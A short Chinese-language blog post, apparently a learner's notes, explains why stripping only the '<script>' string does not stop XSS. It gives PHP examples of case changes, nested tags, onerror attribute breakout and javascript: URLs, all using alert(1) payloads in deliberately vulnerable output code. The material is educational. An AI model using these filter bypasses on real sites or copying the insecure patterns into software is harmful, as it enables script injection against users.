你想不到的 XSS 攻擊方式

想不到吧?

簡述

這是在做完 網站前後端開發基礎測試 後學到的一些小知識,所以想記錄一下。

只過濾 <script> 字串安全嗎?

不安全。

  1. 我可以改用 <SCRIPT 來避開(HTML 沒有分大小寫)
1
2
3
4
5
<?php
$xss = '<SCRIPT>alert(1)</SCRIPT>';
?>

<div><?php echo str_replace('<script>', '', $xss); ?></div>
  1. 我可以拆成 <scr<script>ipt>
1
2
3
4
5
<?php
$xss = '<scr<script>ipt>alert(1)</scr<script>ipt>';
?>

<div><?php echo str_replace('<script>', '', $xss); ?></div>
  1. 我可以寫成 <script type="text/javascript">
1
2
3
4
5
<?php
$xss = '<script type="text/javascript">alert(1)</script>';
?>

<div><?php echo str_replace('<script>', '', $xss); ?></div>
  1. 我可以利用「字串拼接」的方式取代 <script>(跟 SQL Injection 類似)
1
2
3
4
<?php
$xss = ' " onerror="alert(1)';
?>
<img src="src" alt="<?php echo $xss; ?>">

可惡,那我把可疑字元都過濾掉總安全了吧?

不好意思,有個東西叫做「JavaScript pseudo-protocol」,所以不需要那些字元也能執行 JS。

1
2
3
4
5
<?php
$xss = 'javascript: alert(1)';
?>
// 點下去還是會觸發 xss
<a href="<?php echo htmlspecialchars($xss); ?>">Good Things</a>

好,目前我知道的就這些,其他等之後碰到了再回來補。不得不說 XSS 的攻擊方式真的有夠多…

被遺忘的 Preflight request mentor-program-day91
Your browser is out-of-date!

Update your browser to view this website correctly. Update my browser now

×